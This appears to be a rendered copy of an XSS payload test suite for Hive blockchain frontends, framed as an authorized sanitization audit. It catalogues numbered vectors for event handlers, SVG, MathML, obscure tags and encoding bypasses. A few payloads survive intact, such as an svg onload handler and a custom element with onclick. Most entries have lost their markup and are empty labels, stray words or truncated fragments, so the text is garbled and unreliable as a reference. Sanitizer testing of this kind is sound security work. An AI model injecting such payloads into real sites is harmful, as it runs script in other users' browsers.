XSS Payload Test Suite for Hive Frontends
⚠ ️ FOR AUTHORIZED TESTING ONLY
Do not use against systems without explicit written permission .
Report ID : AUDIT -20260322
Auditor : louis88
Purpose: Post each payload as a Hive blockchain post body to test sanitizationalert(1) oralert(document.domain) as a benign proof-of-concept indicator.
How to use: Each section contains payloads wrapped in markdown code fences
A standalone post body
Wrapped in <html>...</html> tags (triggers the raw HTML path in MarkdownViewer)
Inside a markdown paragraph mixed with normal text
As a comment on an existing post
Table of Contents
Standard Vectors HTML Tag Event Handlers — Exhaustive SVG Vectors MathML Vectors HTML5 Semantic & Obscure Tags Encoding Bypass Vectors Unicode & Character Tricks CSS-Based Vectors Markdown-Specific Vectors Mutation XSS (mXSS) DOM Clobbering Chains Template & Framework-Specific Protocol Handler Abuse Meta & Base Tag Injection Form & Input Hijacking Object, Embed & Applet Media Elements Focus & Autofocus Chains Animation & Transition Events Content-Editable & Designmode Polyglot Payloads DOMPurify Specific Bypasses Condenser html-Wrapper Path Dangling Markup Injection Tab-Nabbing & Window Reference Exotic Attribute Vectors Regex Sanitizer Bypass Techniques Obfuscation & Evasion Techniques Payload Chaining & Multi-Stage
1. Standard Vectors
Classic payloads that every sanitizer should catch. If any of these fire, the sanitizer is fundamentally broken.
XSS - STD -001
alert(1)
XSS - STD -002
XSS - STD -003
alert(String.fromCharCode(72,105))
XSS - STD -004
alert(1)
XSS - STD -005
alert(1)
XSS - STD -006 — Script with CDATA ( XHTML context )
/**/
XSS - STD -007 — Closing existing tag context
alert(1)
XSS - STD -008 — Closing textarea context
alert(1)
XSS - STD -009 — Closing noscript context
alert(1)
XSS - STD -010 — Line breaks in tag
alert(1)</scr
2. HTML Tag Event Handlers — Exhaustive
Comprehensive list of every HTML event handler attribute. Many sanitizers only block onerror and onload but miss obscure handlers.
2.1 Mouse Events
XSS - EVT -001
XSS - EVT -002
HOVER ME
XSS - EVT -003
HOVER ME
XSS - EVT -004
HOVER THEN LEAVE
XSS - EVT -005
CLICK ME
XSS - EVT -006
CLICK ME
XSS - EVT -007
MOVE OVER ME
XSS - EVT -008
LEAVE ME
XSS - EVT -009
CLICK ME
XSS - EVT -010
DOUBLE CLICK
XSS - EVT -011
RIGHT CLICK ME
XSS - EVT -012
SCROLL ON ME
2.2 Keyboard Events
XSS - EVT -013
XSS - EVT -014
XSS - EVT -015
2.3 Load / Lifecycle Events
XSS - EVT -016
XSS - EVT -017
XSS - EVT -018
XSS - EVT -019
XSS - EVT -020
XSS - EVT -021
XSS - EVT -022
XSS - EVT -023
XSS - EVT -024
XSS - EVT -025
XSS - EVT -026
XSS - EVT -027
XSS - EVT -028
XSS - EVT -029
2.4 Focus Events
XSS - EVT -030
XSS - EVT -031
XSS - EVT -032
XSS - EVT -033
XSS - EVT -034
CLICK ME
XSS - EVT -035
CLICK THEN TAB
2.5 Form Events
XSS - EVT -036
XSS - EVT -037
XSS - EVT -038
XSS - EVT -039
XSS - EVT -040
go
XSS - EVT -041
XSS - EVT -042
12
2.6 Drag & Drop Events
XSS - EVT -043
DRAG ME
XSS - EVT -044
DRAG ME
XSS - EVT -045
DROP HERE
XSS - EVT -046
DRAG OVER ME
XSS - EVT -047
DRAG ENTER
XSS - EVT -048
DRAG LEAVE
XSS - EVT -049
DRAG AND RELEASE
2.7 Clipboard Events
XSS - EVT -050
COPY THIS TEXT
XSS - EVT -051
CUT THIS TEXT
XSS - EVT -052
PASTE HERE
2.8 Media Events
XSS - EVT -053
XSS - EVT -054
XSS - EVT -055
XSS - EVT -056
XSS - EVT -057
XSS - EVT -058
XSS - EVT -059
XSS - EVT -060
XSS - EVT -061
XSS - EVT -062
XSS - EVT -063
XSS - EVT -064
XSS - EVT -065
XSS - EVT -066
XSS - EVT -067
XSS - EVT -068
XSS - EVT -069
XSS - EVT -070
XSS - EVT -071
XSS - EVT -072
2.9 Misc / Often-Forgotten Events
XSS - EVT -073
XSS - EVT -074
XSS - EVT -075
details
XSS - EVT -076
clickcontent
XSS - EVT -077
XSS - EVT -078
text
XSS - EVT -079
text
XSS - EVT -080
text
XSS - EVT -081 — Rarely tested
XSS - EVT -082
XSS - EVT -083 — popover ( 2023 + browsers )
pop
XSS - EVT -084
HOVER
XSS - EVT -085
HOVER
XSS - EVT -086
CLICK
XSS - EVT -087
CLICK
XSS - EVT -088
MOVE
XSS - EVT -089
test
XSS - EVT -090
test
XSS - EVT -091
TOUCH ME (mobile)
XSS - EVT -092
TOUCH MOVE (mobile)
XSS - EVT -093
TOUCH END (mobile)
XSS - EVT -094
XSS - EVT -095
XSS - EVT -096
XSS - EVT -097
XSS - EVT -098
XSS - EVT -099 — print media query trigger
XSS - EVT -100
3. SVG Vectors
SVG is XML-based and allows script execution through many paths that HTML sanitizers often miss.
XSS - SVG -001
XSS - SVG -002
<svg/onload=alert(1)>
XSS - SVG -003
alert(1)
XSS - SVG -004
XSS - SVG -005
XSS - SVG -006
XSS - SVG -007
XSS - SVG -008
XSS - SVG -009
XSS - SVG -010
click
XSS - SVG -011
XSS - SVG -012
XSS - SVG -013
XSS - SVG -014
XSS - SVG -015
XSS - SVG -016
CLICK SVG TEXT
XSS - SVG -017 — SVG with handler namespace trick
alert(1)
XSS - SVG -018 — discard element
XSS - SVG -019 — SVG inside img via data URI
XSS - SVG -020 — SVG base64
XSS - SVG -021 — SVG with custom element behavior
XSS - SVG -022 — Nested SVG
XSS - SVG -023 — SVG desc as script
alert(1)
XSS - SVG -024 — SVG title onclick
Click the title
4. MathML Vectors
MathML elements are often unrecognized by sanitizers and can execute JavaScript.
XSS - MATH -001
clickx
XSS - MATH -002
click
XSS - MATH -003
<annotation-xml encoding="text/html"></annotation-xml>
XSS - MATH -004
XSS - MATH -005
XSS - MATH -006 — Namespace confusion
XSS - MATH -007
5. HTML5 Semantic & Obscure Tags
Tags that sanitizers may not have in their blocklist.
XSS - TAG -001
test
XSS - TAG -002
50%
XSS - TAG -003
XSS - TAG -004
XSS - TAG -005
XSS - TAG -006
XSS - TAG -007
click
XSS - TAG -008
click
XSS - TAG -009
clicktest
XSS - TAG -010
click
XSS - TAG -011
click
XSS - TAG -012
click
XSS - TAG -013
click
XSS - TAG -014
XSS - TAG -015
click
XSS - TAG -016
alert(1)
XSS - TAG -017
click
XSS - TAG -018
click
XSS - TAG -019 — Custom elements
<x-alert onclick=alert(1)>click me</x-alert>
XSS - TAG -020
6. Encoding Bypass Vectors
Bypassing sanitizers by encoding payloads in ways that get decoded after sanitization.
6.1 HTML Entity Encoding
XSS - ENC -001 — Decimal entities
XSS - ENC -002 — Hex entities
XSS - ENC -003 — Mixed decimal with leading zeros
XSS - ENC -004 — Without semicolons ( legacy parsing )
XSS - ENC -005 — Tab - separated entities inside attribute
XSS - ENC -006 — Newline - separated
XSS - ENC -007 — Carriage - return separated
6.2 URL Encoding
XSS - ENC -008
click
XSS - ENC -009 — Double URL encoding
click
XSS - ENC -010
(Unsupported src)
